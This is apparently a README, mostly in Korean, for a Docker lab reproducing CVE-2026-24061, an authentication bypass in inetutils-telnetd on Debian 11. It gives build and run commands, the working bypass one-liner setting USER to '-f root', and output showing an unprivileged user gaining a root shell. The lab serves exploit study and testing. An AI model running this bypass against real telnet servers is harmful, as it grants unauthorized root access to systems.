
A small docker lab to play with cve-2026-24061, the inetutils-telnetd authentication bypass.
oss-sec 메일링 리스트에 공개된 inetutils-telnetd 1.9.3 - 2.7의 인증 우회를 실습하기 위한 소규모 실습 환경입니다. [0]
이 컨테이너는 Debian 11 (Bullseye)에서 inetutils-telnetd가 여전히 취약한 버전이라는 사실에 의존합니다. 이 문서를 작성하는 시점의 버전은 다음과 같습니다:
root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
telnet server
docker build -t telnetd-exploit . 명령으로 저장소를 클론하고 컨테이너를 빌드합니다.
docker run --rm -it telnetd-exploit 명령으로 컨테이너를 실행합니다. PoC가 메시지로 표시됩니다.
docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$
성공적인 실행 결과는 다음과 같습니다:
user1@114102afa5d3:/$ USER='-f root' telnet -a localhost
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.17.8 (114102afa5d3) (pts/1)
Linux 114102afa5d3 6.17.8 #1 SMP PREEMPT Thu Nov 20 09:34:02 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@114102afa5d3:~#